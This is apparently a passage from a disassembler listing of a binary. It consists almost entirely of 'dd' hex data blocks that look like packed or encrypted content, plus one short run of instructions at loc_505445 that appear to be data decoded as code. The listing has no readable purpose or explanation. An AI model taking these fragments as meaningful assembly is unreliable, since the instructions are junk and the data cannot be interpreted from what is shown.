		dd 0BC878Ah, 2166F319h,	0EB01AF8Eh, 0E6B04CDEh,	88FC7828h
		dd 0BEB805h, 0DCD26A2h,	2290EA0Ah, 3DF6C701h, 5CD3E596h
		dd 0F786C4h, 2EEB7F14h,	0F6B79E6Dh, 70362403h, 0F58FE49h
		dd 0D4DDB419h, 976255A0h, 3772499h, 9007898h, 837313A8h
		dd 7DAC06h, 14326D52h, 2E39891h, 0DCAD331Dh, 2F1B3600h
		dd 0B83B8D34h, 47377h, 0C4CA9A35h, 60655556h, 0B31FFF77h
		dd 0B2C05E6Dh, 25AD7117h, 1EFE3Bh, 0C2392983h, 0D4D66144h
		dd 9A8AC000h, 6697F8A7h, 9328001Bh, 16C13DFEh, 7001C671h
		dd 45980AA5h, 8EC5D7Ch,	0D18E005Ah, 0EFE57881h,	0F848BF48h
		dd 255600FEh, 0FA912B65h, 2F84036Fh, 4C3AE252h,	3F7C01A8h
		dd 0D61E7B00h, 717F2005h, 0FD0B0E31h, 9EC055DEh, 0F18C13F3h
		dd 80194C3Bh, 2BF7C90Ch
		dd 50D8Dh, 0C094B19Ch, 0E920F86Ah, 77B893Dh, 1D367367h
		dd 9746AFF0h, 0EB0800F2h, 0ED311B93h, 3D04E9E5h, 534920A0h
		dd 548CC2FBh, 0CE4A7240h, 8FB80678h, 8F74D100h,	5B95FCDBh
		dd 0E07E39A7h, 0FB97E280h, 9FDB54Ah, 238FE91Fh,	38D42100h
		dd 4B716B3h, 4366A4EDh,	4F08C2A5h, 0D2B0AAC0h, 902A8801h
		dd 32E7D989h, 3F19E5E4h, 7F804F30h, 0FA126378h,	0F33986EBh
		dd 79E980BFh, 0D013649Eh, 0E83B00AAh, 789B36Ah,	0C100CE8Eh
		dd 0BFA77961h, 0C0B2E66Ch, 5E504718h, 0B37A132Bh, 0F1F7EA00h
		dd 55D64DC7h, 0E1FC07F4h, 60926E0Bh, 190D99C0h,	11886200h
		dd 3F82EA4h, 35541C23h,	1431009Dh, 6E15CC36h, 0C7428D00h
		dd 68B6FD20h, 9B0F0F79h, 0E180D0C3h, 6A078A63h,	8E2DB200h
		dd 4F4DDA1Fh, 83740Eh, 6C87432Fh, 0F6B2A219h, 70685926h
		dd 3DDF9200h, 38108Dh, 0FB24487Ch, 955713BDh, 0C4EF1C00h
		dd 822F8A2Eh, 6ABE00DBh, 0DBA5E10h, 3EFEB7ADh, 2EF05F48h
		dd 0C89C90DFh, 0B900C5A4h, 9A2C8DA5h, 306C7080h, 73194B02h
		dd 4C00F67Fh, 0FF3CCCE4h, 300C3260h, 83211BB2h,	0AD300AAFh
		dd 0A4BE111Ah, 2DF93316h, 0ECF0A0C9h, 40001F62h, 0C13A5175h
		dd 9777422h, 14BF18A5h,	0AFBCA8E0h, 9605F002h, 60CFF83Bh
		dd 9C43838h, 0B191624Ch, 8C6AC80h, 60FE7A46h, 0A60278F6h
		dd 0BD634DC4h, 3C8060D2h, 61FB007Ch, 308A565Ah,	40013F8Bh
		dd 66B50E54h, 0F541EC5Dh, 0EB700C35h, 34CC008Ch, 9E7A189Fh
		dd 86B011ACh, 0A2243F00h, 4CA54910h, 22A03DBh, 99C8827Dh
		dd 4E8A83Ch, 205F2C7Ch,	7F519CC0h, 1E93142Eh, 0BA00B8EEh
		dd 7214A4B0h, 0C439B74Ah, 0E1007EA9h, 65B3552Eh, 301C608Ah
		dd 871127DEh, 0E001D63h, 0E1AC2C70h, 0D71501h, 9FC99635h
		dd 9CE9FA2Ah, 1C20664Eh, 856FC368h, 0B5D37B83h,	3DCCE87Ah
		dd 0E8F0002Ch, 441A8FF9h, 8100A93Fh, 0D64221E4h, 0F5E54Eh
		dd 7B96272Ah, 0C2AE912Ch, 0C004C702h, 0C0978DFAh, 0B68094h
		dd 0C99ACB9Fh, 0AD7AEBBFh, 9BC69C1Eh, 0E7D8C118h, 23CD0365h
		dd 0A08D760Dh, 0CB746E0Fh, 0A99C00DCh, 1B764B2h, 0D7F3D288h
		dd 60341BF2h, 33053BF8h, 50430F6Bh, 0DD87EC05h,	24C4A0h
		dd 11B0EA9h, 4BFE9B2Ah,	0B0AB00Fh, 216C0F0h, 4C039573h
		dd 2B07F8F3h, 0E0A37835h, 105786B2h, 0E7878D01h, 0ED34120Fh
		dd 1E9860h, 70DEBD68h, 10FE9D9Ch, 0DBCA711Ch, 0B0A700FCh
		dd 0D593BE6Ah, 0D79100F9h, 0C1D87B18h, 85755DF1h, 9F840900h
		dd 8062E6B6h, 10AF003Dh, 66DFFB7Eh, 62EB925Ah, 5D7009ACh
		dd 770000EBh, 70BAD773h, 0CCC70E74h, 96203355h,	95118043h
		dd 2F019C17h, 48D06C01h, 0C82082D1h, 78E50036h,	0BAB8A2ABh
		dd 0CF0CFA0Ch, 21A09601h, 3C5D3D2Bh, 7CE3F8E0h,	60FA308Fh
		dd 5052CE03h, 0C0189483h, 348C5A7h, 0E6444326h,	0CDE97DEEh
		dd 0E9CC2054h, 69640149h, 0B0744411h, 697363D3h, 47987F9Ch
		dd 1B015842h, 0E1CC44A4h, 60A69510h, 68EE0C6Fh,	0AD00C489h
		dd 13DFCD44h, 75B87DDh,	0D7DB28C8h, 0FD9C935Dh,	9D6775F0h
		dd 0A5D5A71Ch, 0C21580FEh, 0C5AD9EBEh, 0AA740051h, 0E61FF80Dh
		dd 2000D58Fh, 65F00C2Bh, 9667158Ch, 64C503ACh, 0A000E9A8h
		dd 197B0B81h, 0E8CE4h, 566E0137h, 0BBE78A83h, 4AD68467h
		dd 6A65A3A0h, 2B355CA0h, 407D5907h, 0F741F0B1h,	46002101h
		dd 3A92C618h, 4D49C61h,	931650FAh, 0F4AC80B3h, 1B0086C2h
		dd 0F8653D46h, 33E1C28h, 7651299Eh, 63E0BAE0h, 8B01BF6Ah
		dd 0B420FDC1h, 5FFC47B7h, 46940021h, 489CBFEh, 865F0306h
		dd 40C30800h, 3821CF7h,	22B7B21Bh, 7DA8CD53h, 0F005AECh
		dd 78B0DE32h, 61ABBAh, 4B7E2E88h, 27C9E3CFh, 0C27A8A01h
		dd 0DC2B79C1h, 8E72A03Bh, 529D3300h, 3239CD87h,	10310088h
		dd 6AC7775Ch, 9F00D6B9h, 55722644h, 0F2FD7B58h,	1BF4F962h
		dd 0A8BF0F54h, 56005C02h, 3EF886Eh, 0DF9401Fh, 0EC82DCD6h
		dd 600CEA06h, 4B3C17FEh, 0A9B40005h, 0CA84255Eh, 375F2E00h
		dd 507E3A95h, 174F6F6h,	5B51E22Ch, 0DCA0040Dh, 0E13EB56Dh
		dd 0E4097B3Ah, 40748580h, 7539EBACh, 0A6D11211h, 51B0001Bh
		dd 0CB6ABC3Dh, 0F4229700h, 0A480170Dh, 898300ACh, 0E0EF36FCh
		dd 34002582h, 1C560157h, 121365h, 0CFD51BA4h, 6C7D8BDDh
		dd 0EF05AF09h, 4D048159h, 97F00EA6h, 14CA1C2Dh,	15FC0BFh
		dd 1A6B8F70h, 50253F01h, 41ACC29Eh, 4CA8A4h, 0BC0DF721h
		dd 2D305DE5h, 0B932966Eh, 0A9D000D9h, 0FEC00B48h, 0C7016031h
		dd 0FABB5B8Bh, 3660B8FDh, 824216CDh, 602C0026h,	0C20F982Fh
		dd 0ECA139h, 0F9B871F0h, 7C7F4010h, 763607B9h, 0AFDC20EBh
		dd 321B2BE7h, 0C46082DFh, 0E005F8Ch, 49D88BE5h,	3DB8720h
		dd 2886DCB6h, 0CAB16CCFh, 59ACF4DFh, 0D6287DEAh, 3F1E8CBAh
		dd 20D8FC58h, 0F22638h,	79AEC147h, 0CD6F8F91h, 0D607661h
		dd 9184720Fh, 0B0A6ADFBh, 9D016D30h, 0ACD3FF5Eh, 4870394Bh
		dd 801CBC76h, 0BBD7E8C4h, 93006F3Ch, 239594E1h,	7E160AF5h
		dd 0C1130FA9h, 80200669h, 8837E1FBh, 1726B901h,	3E4678A7h
		dd 0A07A1074h, 0B5CD80h, 0A037D188h, 92FA7222h,	63D74212h
		dd 8FCB1440h, 0C364D948h, 3D4F6E11h, 0D01DD98h,	0CA30DF00h
		dd 0C15968CEh, 9F540133h, 3BEEBB4Ah, 0E3309A19h, 8C74FCh
		dd 4E8E3CDFh, 2FE80CD0h, 7589C8h, 0F92A6B28h, 84E25B07h
		dd 0A30A0492h, 8CE55FBCh, 59534A80h, 2ED84829h,	0B96050F9h
		dd 30A852F2h, 4FEA4306h, 9D0C2139h, 0C166D83Fh,	5E7406C6h
		dd 2129E01Ah, 0E4558D00h, 0A4912D25h, 18BC00A9h, 1AC3CC43h
		dd 9395C1C0h, 0D6D5901Ch, 7FDD3C5Ch, 6343CB02h,	0BAE0F3B9h
		dd 0ED2EABF8h, 0FD002916h, 32993675h, 1CDB79F5h, 800DB281h
		dd 6D2DD894h, 0A803C278h, 14E4E0B1h, 0FB50FF1Ch, 3A798219h
		dd 0D9B13E89h, 2E9DF428h, 2170AC1Ch, 0E73083Ch,	0FA8FA42Fh
		dd 0A3588901h, 0A85FF41Fh, 52FC0301h, 171BD543h, 0DC085C38h
		dd 3580D1F7h, 883AD075h, 0A0B0AB7Eh, 921A98B0h,	49E93BB0h
		dd 0C6199D00h, 6C6BA9A5h, 2A9A5A00h, 925909F3h,	14912E28h
		dd 568C80B8h, 0E34B37E2h, 10B1640Ah, 0F902E81Fh, 62905F6Ch
		dd 0FE34609Fh, 43F25C53h, 0D638F430h, 63005F9Ch, 3B6E8A1Bh
		dd 6DC7E3h, 20376986h, 0B1259901h, 84386600h, 8EC4FD93h
		dd 96AE00F8h, 9027F744h, 51CFF22h, 0E08039C0h, 107A37E8h
		dd 38DC01DFh, 0AAB82A26h, 8F9C6007h, 0BE003D70h, 7BED6A1Ch
		dd 30E5236Dh, 26A637CFh, 0D2006008h, 55838CD0h,	0B8C28D9Bh
		dd 0DAA600F6h, 0C9F5B4D7h, 8E98D87Eh, 5E34630Fh, 504B405Dh
		dd 0FE67B097h, 3AAF0099h, 7BE9C424h, 0A707AB04h, 0F8F5E041h
		dd 0E0A645B2h, 0FA17169Bh, 0B0B42E63h, 0C12B010Ch, 0CC423347h
		dd 0C3F49AEBh, 0C4808700h, 5515B8B0h, 1350003Ah, 1123AF63h
		dd 84EA5703h, 0B9B11A00h, 983A4F1Eh, 1B2C0001h,	21AED96Ah
		dd 630A2223h, 0C40B269Ah, 3E4E4700h, 7FFF0Ch, 5D21F25Ch
		dd 800E093Bh, 57F45601h, 0B696306Ch, 0F0AC44FCh, 93F034h
		dd 0B97D4D46h, 0A0593122h, 0CA524100h, 9C8C0DDAh, 0B45009F2h
		dd 78710F09h, 8066EA89h, 804D1F97h, 7DC49815h, 4EFE012Dh
		dd 7B25EFB3h, 3761E284h, 68C7201Dh, 0CF0FA600h,	62D90260h
		dd 96B7B7Ah, 0A74B1E2Dh, 0D285C0A1h, 48A43C33h,	61AD0FF0h
		dd 0C1F7C081h, 4937AAA2h
		dd 0E00642Bh, 0A97080BEh, 193BE99Ch, 0DDA08428h, 480BB14h
		dd 1D9FDB35h, 80EFCC0Dh, 3480959Dh, 0D7037036h,	7C4DE7FBh
		dd 0ED5F90FFh, 37600022h, 0AD84D503h, 0B8004BB2h, 0D0F28702h
		dd 452058h, 6C619CEBh, 0E5AB268Dh, 0EC5F5Ch, 704F99C1h
		dd 70E0F92h, 0A216AC3Ah, 0C3B22527h, 0ADC98670h, 0B7A86072h
		dd 21501F01h, 74C76FEFh, 9D6920h, 36DEF58Bh, 0CA4B2D04h
		dd 0C6C4A700h, 359428B4h, 9857508Fh, 0BA4C2C2Fh, 39BE0024h
		dd 0B93EEF0Fh, 185A4509h, 0D1F404FDh, 8800F8BCh, 7E407909h
		dd 0C0173ACFh, 0C10554B2h, 0EC08F51h, 2C2545ECh, 0D2447h
		dd 28C3A289h, 6402F6CBh, 431709E6h, 5224604Ch, 0F8B71671h
		dd 0F654700Fh, 0A75819B6h, 7C3802E7h, 858E9C26h, 8080DDA6h
		dd 0F945A9Dh, 7331C3B9h, 7071FC67h, 63240DF6h, 2F6C2301h
		dd 208BE450h, 0BCC5834h, 0C39F4F25h, 0AB0308B0h, 7EC1A4Ch
		dd 54DC441Fh, 74DEC290h, 0A2373D56h, 64ACC702h,	0F4688D85h
		dd 5E19B1A9h, 0CB598379h, 7F5F0870h, 872A0028h,	7ECA3438h
		dd 0EF120131h, 8CA014C4h, 0ED70C495h, 0E570A49Ch, 19C0D5F0h
		dd 0D9EA1871h, 84FA5632h, 40DC134Bh, 59227328h,	110F5A38h
		dd 37E542A2h, 0A4DCF0C0h, 543EAD3h, 0D0401FB6h,	84E41136h
		dd 4E81219Eh, 31690503h, 59AB6AD0h, 77826C42h, 90A07C92h
		dd 7E7452DBh, 0DCAFF90Dh, 62C499BBh, 1C5F0067h,	85D5B5FFh
		dd 0BC0CBF2Fh, 0F811AAEEh, 0CCFB5809h, 0C13239A2h, 40744290h
		dd 7C6F06BDh, 79C89A14h, 1E8FA006h, 6411C19Ch, 80B6317Bh
		dd 8B63BBD8h, 801810C0h, 0C80492h, 6AB8FBA3h, 0BB39C151h
		dd 0FC18EB74h, 554073F1h, 0E5FD28F4h, 0FC63FEE8h, 89C42CD2h
		dd 0B85D4028h, 282516A7h, 0FC446042h, 7F028819h, 40525F03h
		dd 0B89ECE7Bh, 2D2E2ADh, 0F2BF5355h, 60E0672Dh,	0C5031966h
		dd 99B7F057h, 3128E860h, 93400097h, 0F38E0AECh,	2500853Dh
		dd 7F83E64Bh, 161AF21h,	0BBAB9E71h, 0C08D5878h,	3900B8A2h
		dd 8C50426Ah, 0B4671Ah,	149604EDh, 0FA986D3Eh, 1E48958h
		dd 446C3C22h, 0CE798Ah,	854E7FD1h, 0D704F80Ch, 1C9129ADh
		dd 70A1FEEBh, 8CA37E11h, 0F5C49D01h, 92E50253h,	0E42E1C28h
		dd 2042AC3h, 8CBDDFA2h,	0C0C85AB1h, 4900D7E1h, 0DE2FEF23h
		dd 33392ABh, 772DE2FDh,	82FCED1Dh, 9460FEB1h, 131FA179h
		dd 36C1C274h, 0B647A022h, 2CE27E8h, 2B85660Ch, 0C0564CA5h
		dd 0E28950Bh, 65A341A4h, 0A86029F8h, 0A27000EAh, 0F085871Eh
		dd 267EE3F9h, 8C00097Eh, 0FE74A1C1h, 58B7D1AEh,	5703A477h
		dd 0F9A7C461h, 0D4B918F0h, 0DA05E401h, 6D2B02C7h, 28E382E4h
		dd 12F66250h, 0B03127FBh, 0CD0F8CF4h, 0CAAC8DFDh, 0E100921Fh
		dd 186F2C14h, 0EEE60775h, 0D7537FDAh, 233351CBh, 0BD68C820h
		dd 6AAE414h, 0D1DB0090h, 3B38081h, 0D56639E0h, 828DBE8Fh
		dd 0AB68DA01h, 2A1AF8DFh, 28C7E116h, 80A31D0Bh,	35D0C8B8h
		dd 0DCAC00A6h, 4DCDC51Ch, 72C815Eh, 28048C98h, 27402AAEh
		dd 0ADFE1B94h, 4332A300h, 5998855Dh, 4930B0CAh,	0B6029893h
		dd 0A96F5855h, 530064D8h, 0F17FBCCDh, 7519D7h, 0B2B09ABBh
		dd 0E83DC114h, 8D1E2B00h, 227E01F0h, 1F070025h,	18920867h
		dd 2907313Ah, 84B3780Fh, 8524A439h, 217CCCh, 0A953C8DBh
		dd 0F8F0B613h, 9002C8B8h, 0B7871A73h, 61FDC09Ch, 80F54CACh
		dd 0BC65C00h, 0E83725E6h, 0B8004698h, 21888369h, 7EEB72Ah
		dd 8E5D0E16h, 0BED4D017h, 6D0A2EC4h, 0B6B6F85Eh, 0CCE9B400h
		dd 0FFBC30h, 29B75058h,	6563D5E8h, 947C6009h, 6CD803B3h
		dd 23A800B0h, 0EFC44E2Ch, 73006F5Bh, 9C1BA0CDh,	4DADBE47h
		dd 46026CA2h, 0C48EA65h, 498BB874h, 827000FCh, 0E22F29h
		dd 3CBE4FE5h, 13805556h, 401FCE76h, 0D0C19C24h,	0FAD8BBDDh
		dd 0B489040h, 0CE5B0089h, 30C4B992h, 0D74B4274h, 8EAC1840h
		dd 33A4D832h, 7281CDF7h, 0AD169087h, 830039E4h,	0B69EC66Fh
		dd 271AAA6Dh, 4C41F1A5h, 0C491C5FEh, 3709BA3Eh,	80D86B4Ch
		dd 897DEC79h, 43F502DCh, 8353E2AFh, 99BA9860h, 4CD9B300h
		dd 5E741DD6h, 20D10019h, 0FD4553A0h, 95145871h,	0C3480498h
		dd 0A8E16C39h, 1FE546DAh, 0C0289FE8h, 2B8D240Ch, 0D7539A2Fh
		dd 9ECB0460h, 0CE3821Dh, 34263321h, 0F4459DE0h,	3B2167Fh
		dd 0C53CA047h, 4EB8E758h, 0C8BFAC80h, 0E13E0033h, 22A08D09h
		dd 653024A5h, 9F2140F2h, 0DE709Eh, 1CF32A2Fh, 0FED8D52Ch
		dd 0FAE3E400h, 811942CEh, 37130FB2h, 5F0BCDD9h,	453C0602h
		dd 349404C1h, 0C89C896Ch, 90416848h, 0D8501708h, 248B44F6h
		dd 0E382BBh, 2AEAEB8Ch,	9D0E8792h, 8494FDA4h, 0C0916132h
		dd 5FD0B3D8h, 418661B8h, 80ED97C4h, 952B5259h, 60A86F85h
		dd 24962176h, 949CC588h, 16AD1900h, 0CBBD158h, 6542A6Bh
		dd 3100F358h, 0D637E75Bh, 0DD6D0FACh, 79431830h, 880005E6h
		dd 0B8601E5h, 0C0EC21C6h, 0C2124861h, 6B01FA3Ah, 0A1DDFBB2h
		dd 0C5DC0746h, 0C3420215h, 0DBF29A2Ah, 0CC105879h, 88E00DC2h
		dd 36EE5A00h, 10A00CDDh, 78619489h, 7712A20Dh, 688349BDh
		dd 227BF618h, 86E885F8h, 7C275CF8h, 0E8006B41h,	54C4ABh
		dd 777A5205h, 38577567h, 32D4A159h, 1A8981D8h, 1C06D05Bh
		dd 8C06A0h, 0A8B0E64Eh,	5D1FFC13h, 1787DC9Ch, 2110B85Eh
		dd 29ADA22h, 62DC37BFh,	0F8A264h, 8EA8F100h, 212DBBDFh
		dd 2C9EE4h, 0C01BEA8Dh,	0FC7539D2h, 0B890E62Ch,	810B303Fh
		dd 735BFB3h, 965925A2h,	946190A6h, 0E90032B6h, 0B5F7553h
		dd 0FF6ABCh, 0F5DF8F3Bh, 1AD7E5F8h, 0F1428203h,	0C85C1EF9h
		dd 278DBAh, 0AAFEB5CAh,	61B27A8Ch, 0C638B91Bh, 9D300340h
		dd 54403313h, 0DBCB48A8h, 60BBD1E5h, 9A0A3FA1h,	0EC918422h
		dd 62008B20h, 0C6F996E6h, 75271490h, 6D2C161Eh,	0C3A2C401h
		dd 3B81B981h, 8BC0C3BDh, 561D04BCh, 4F0C1E85h, 6280A4h
		dd 58A34C27h, 381440EEh, 84C8FE54h, 0FC89852Ah,	1907F402h
		dd 0D0D00542h, 0F343E6CCh, 8045E0h, 31C21D30h, 85596002h
		dd 4203DF00h, 751BB5C5h, 12CF7C28h, 0A0AB0A51h,	9090AEE8h
		dd 8595D378h, 1430B63Ch, 31C19B0h, 846ABF8Dh, 0E58009AEh
		dd 0BE072E2Ch, 4CA8EEB1h, 0DB06C920h, 12A9052Fh, 8031E40Fh
		dd 0BAD60C3h, 8B1BB700h, 89351F4Fh, 574800D8h, 0AA7841F1h
		dd 0FE059019h, 5F2106EAh, 0F8AB3080h, 0BE8700A1h, 0DE01B5C2h
		dd 0E5173624h, 0C81E2156h, 65094841h, 0F3E00786h, 2A890002h
		dd 4DCB55B2h, 66006961h, 0A121821Bh, 0E943031h,	0DE17CC6Fh
		dd 51EB3AC0h, 0BE00D177h, 0FDF5CD88h, 0E46B287Bh, 1566009Eh
		dd 0AD0DB869h, 950036BDh, 0E556883Ah, 2702CD4h,	0D142B473h
		dd 0BC87FCBFh, 95145AAh, 0CC78A0E5h, 884EC50Fh,	6D7B00BDh
		dd 3E57C2A6h, 8B0345C1h, 75E4B6DDh, 25F4BC9Ch, 0AB0840CEh
		dd 1CC1C9Eh, 0FEBAC06Bh, 461E66DFh, 6C406AFFh, 307220F3h
		dd 1932570h, 371E4080h,	0EE00A57Ah, 0E43E4FB0h,	5C79171Fh
		dd 0EB00B945h, 0BE788A7h, 54008DD8h, 343C300Eh,	14C05DEh
		dd 732724B9h, 0D1A76DF0h, 18C9EE90h, 20493AF4h,	0A874F0E0h
		dd 1DF0FAD8h, 6EBB764Ah, 1C2C34h, 0A73B9E8Eh, 0D900D035h
		dd 0A17F80F7h, 75101Eh,	28B2DAB5h, 52A3B731h, 85821800h
		dd 0D902A75Ch, 0D545161Fh, 396C92F8h, 0CE00CCD1h, 0BC5CD16Ch
		dd 4C430084h, 61331C3Eh
		dd 6616A02Ah, 0B0B01F6Eh, 0BD16058Dh, 80304C8Eh, 62A3E6A9h
		dd 8C72E9h, 9E99A40h, 0B81392E2h, 3EF7015Bh, 7D8EA563h
		dd 20C0C37Fh, 6118DA9Bh, 5E9A167h, 0C47A242Eh, 0CA01BCB4h
		dd 683DBC40h, 8F89FEDh,	0CCA6A9C0h, 1A72196h, 0B9646DE1h
		dd 0EC46EDC5h, 9E00829Fh, 4802E94h, 1966983h, 1C685EC7h
		dd 0D42BBA7Dh, 0C8B4A7C9h, 0D5B0Bh, 0A2D227A6h,	7B6E003Fh
		dd 7EF4CB78h, 0F70058BBh, 0AC7D351Bh, 0EC5A09B4h, 91F94838h
		dd 57807700h, 9925F773h, 0AC978E00h, 28E1030Eh,	0FBC90181h
		dd 0FD6D4380h, 82CED527h, 26FC6E11h, 0F8CD630h,	0CD214B8Dh
		dd 0EC2263ACh, 3C0FD96Ah, 2091F6C2h, 0E6764EB5h, 90C9013h
		dd 0CC7E8E07h, 0B2058CD8h, 0C97A9CE1h, 0B401B8BCh, 566FAC17h
		dd 6C83F076h, 53F884B5h, 791DE8F8h, 6099C0E2h, 9B0A9201h
		dd 89CBCD3Eh, 897450F2h, 240E83Bh, 5C7C82h, 0BB2A9E77h
		dd 23148451h, 500AC8A8h, 0F2D0F8F7h, 7E52E804h,	0D8C03F74h
		dd 57C71Ch, 0ABBD728Dh,	4D055DD3h, 0FC34829Fh, 33610F48h
		dd 30DABAA0h, 0F80FD090h, 9EAFAB42h, 41E2C80Fh,	9BFCB641h
		dd 4746D8h, 6632FE0Fh, 5C5DDE28h, 290B0400h, 0F8EB2583h
		dd 9D950314h, 792C3AF6h, 905F4990h, 0E42D7800h,	631B9692h
		dd 0B2C007FFh, 8D6DFEh,	0AA671A33h, 2F442600h, 56CF940Fh
		dd 77B0A011h, 0FD0E3E3Dh, 0FC8F702Fh, 3EFA0B43h, 90C026C2h
		dd 600405Ch, 0BC746CA6h, 3604427h, 2D1D56A3h, 49F87209h
		dd 220251B0h, 5BFD4ABAh, 0C4B0818Eh, 1C2CFE59h,	5445267Eh
		dd 44FC8020h, 92164733h, 0C5289C5Ch, 10ECA318h,	0CA8CC580h
		dd 0E00D12Ah, 1EF1E923h, 50B5338Eh, 1D21BC2Bh, 0C0088A3Fh
		dd 0B2A0B157h, 52006762h, 6F39F137h, 3C59F90h, 4D046599h
		dd 0B4F1A909h, 8BC84249h, 0C47357E1h, 89033A55h, 67E37A91h
		dd 9B00C76Ch, 3EEE79BAh, 1E00F474h, 0EAC5478Fh,	0A6009FADh
		dd 527BA415h, 29CCAC1h,	0DD3C90B3h, 0C88FF365h,	7529F46Fh
		dd 791FFCF8h, 998026BFh, 5B0AEBA0h, 0DD9C002Eh,	13338F37h
		dd 0E4B85201h, 327B8DA1h, 0C88D09C8h, 7FF868BFh, 0C313099Ah
		dd 0F5002288h, 238C1BA9h, 2819EA01h, 7E9C189Bh,	8E43EF9h
		dd 3C9F7EAAh, 0BD0F2CA2h, 0EFA9918Ch, 6EA55880h, 800F5B0h
		dd 80308D24h, 0EDE725h,	32D59194h, 154BD979h, 111E16B8h
		dd 81C0406Bh, 0A1B56E17h, 36C93822h, 979C72A6h,	8484B6FAh
		dd 0C096BEh, 5E5D7832h,	5C9080ABh, 0B5181351h, 0B6109A12h
		dd 0CC351EBCh, 79807D65h, 0C74284E0h, 5C390BDDh, 0B2C88037h
		dd 7F527214h, 0F3890B9h, 70130861h, 54180F80h, 3F0057ACh
		dd 7BC85BD5h, 311D3D9h,	0CF5F356Dh, 1102D67Ch, 0FB674036h
		dd 29005826h, 0D074D1h,	6E6A21BAh, 0C11E3A5Bh, 0BD24C078h
		dd 0A8B1F317h, 4D0420h,	8008CD82h, 0FBA7C4A6h, 2A47DF00h
		dd 4EC62678h, 218F6064h, 3354C1ABh, 9A8B9600h, 0E80207B1h
		dd 9075003Bh, 3DCC710Bh, 4E39ED21h, 0B4621D19h,	50DD6140h
		dd 9880DC76h, 0EEC403E8h, 69BA4DE6h, 0AC8357B8h, 0A481544Eh
		dd 7BFC7109h, 0D14F0061h, 53CDFF9Ch, 40BC7A27h,	0BBC0C49Ch
		dd 0C9B9CF69h, 0D4B30391h, 8846A7C1h, 55BFE99Bh, 3FBE09B5h
		dd 0F20247DCh, 8F4E286Dh, 7C0740ECh, 1B1473Eh, 9635255Eh
		dd 0E2505377h, 952FDCC0h, 0C851421Fh, 2B733200h, 9A525ED9h
		dd 0C0785E50h, 7415FD0h, 7138A404h, 8C80F4B9h, 9565485Dh
		dd 3C20808Fh, 0F8B7DADBh, 37FCC1Fh, 0AE89261Eh,	846C60A4h
		dd 1494002Bh, 670FB3C5h, 0F00092B7h, 0BB4AECDCh, 404E37h
		dd 0B6E3D3C2h, 4DCF6CBEh, 76004891h, 1E738434h,	0FC5500CDh
		dd 416631C5h
; ---------------------------------------------------------------------------
		inc	ebp


loc_505445:				; DATA XREF: ___:off_4374B8o
		sbb	al, [ebx]
		sub	[edi-0Dh], al
		scasd
		mov	bh, [edi+edx*8+40h]
		add	eax, 0A08F19B4h
		mov	esp, 92005DB8h
		stc
		retn	3BE3h
; ---------------------------------------------------------------------------
		db 14h,	0A2h, 69h
		dd 0DE441892h, 785616E8h, 43D853D6h, 0B8A58304h, 3B255CE8h
		dd 0F7E36E03h, 74DEEBEh, 68053FC8h, 87EAB002h, 0EF0FB25Bh
		dd 6732C2h, 0B31B0EC8h,	0FD1212B8h, 0DE00A136h,	0AB0458E0h
		dd 960925h, 1DDC2054h, 95B525C0h, 0AEFE70E0h, 374B8600h
		dd 137BEA85h, 198C3CBAh, 542E4483h, 0DDF8EE65h,	390315BCh
		dd 4E320E75h, 6FD00010h, 8724E625h, 4A03C417h, 21E33469h
		dd 4CFEC096h, 1844003Fh, 0EC351E2Fh, 1B007FD4h,	0F46EFB38h
		dd 0FE8AE1E4h, 69080941h, 0E47071F9h, 0F88B4Ch,	0AC36E21Ch
		dd 124A9F83h, 0A53F38h,	44E0FA98h, 10937C27h, 0B8B40516h
		dd 4483153Ch, 884AAC82h, 0C71264E0h, 0C0C04608h, 0FA7862h
		dd 7B9DECA9h, 0B8CA042Ch, 90071892h, 0AC82AD5Ah, 0CB8C50A0h
		dd 9B250256h, 0FB1E932Dh, 0F18FEC76h, 9C4097E7h, 0C52E1184h
		dd 0F8C9503Eh, 82E8201Eh, 225EB22Fh, 40190114h,	0C43F71Ch
		dd 10BB14AAh, 0CA01B041h, 0ACA6C13Ch, 91ED2EE1h, 36E7DE8h
		dd 25659D9h, 500643FAh,	3E4F310Dh, 20FD02C9h, 9922B74Ch
		dd 8F80B85Ch, 40E92825h, 0ECF14C58h, 0D4D56200h, 0BF1141BAh
		dd 74154F00h, 9B07E8B7h, 1B4A02DFh, 0C5A1AD31h,	24861840h
		dd 2DC7758h, 880F6D2Fh,	16156196h, 90AC4ECh, 0BA531B94h
		dd 637B048h, 2602BCB2h,	8E48F814h, 0E594A1D7h, 82E456CDh
		dd 0F325806Fh, 9D610A08h, 0D0ED01C6h, 0E88969E3h, 28E51D18h
		dd 0F600AE0h, 1CBCC847h, 990CDCD9h, 494D130h, 0C8ED6E86h
		dd 2D528049h, 0E205B9DBh, 3313A441h, 70587F80h,	0E5860C71h
		dd 73A10D01h, 69D9E00h,	5CA1C9AEh, 14E849A2h, 5B01C83Bh
		dd 0D4E56FCCh, 332AF8D6h, 0F1A07304h, 80EB16AFh, 0D3B62F2Bh
		dd 0DF7EBC0Eh, 4491E7B3h, 129638F0h, 2BC20072h,	0D7F2469Ch
		dd 98008BA6h, 4F43ECB3h, 3DE855h, 0A71AB59Eh, 12DD8D76h
		dd 3E3A9400h, 0C58B45F7h, 0C890E0h, 597FF9E1h, 0BE6583B0h
		dd 0CC62D501h, 0EBACA4DBh, 7179F0h, 4A9A3C3h, 0B5272A2Bh
		dd 1E812602h, 40AC0582h, 42211FBh, 744CB823h, 8BACE09Ah
		dd 70D20106h, 0D1F3A3h,	723DCF10h, 9B18EA33h, 5E00F48h
		dd 0F838311Ah, 0E024E8F8h, 760580D0h, 55AC4D3Ch, 4EBE1E04h
		dd 7CA057F1h, 9A3D26B8h, 0A3074198h, 0D0DC57CBh, 0C9D53A2Fh
		dd 9C68E72Ch, 0F97E6B80h, 75B2C0E2h, 65191C52h,	692685h
		dd 5CC1A1A2h, 0AE90E0E5h, 78300104h, 34E0AA6Fh,	0DAB801CDh
		dd 0E5454627h, 0A275DC87h, 0A124DF00h, 8E2914Ah, 0DA7F01F2h
		dd 3AEA5844h, 0FBE9F4D1h, 34335Dh, 98CACB08h, 0B643508Ch
		dd 0E0785028h, 3FAF6D02h, 8030F020h, 2480EFF3h,	2EC98h
		dd 19C03211h, 35F4896Ah, 0CB3B1700h, 0DF927120h, 28121C40h
		dd 9E7DC0E2h, 298A01F3h, 589CD548h, 8C3A00D4h, 0C4534B2Eh
		dd 871024D9h, 0E60483E8h, 29C092FDh, 663DF170h,	20B82665h
		dd 0AE9720Fh, 205D47Bh,	0E845FD0Ch, 20002B7Ah, 0BA1D1A08h
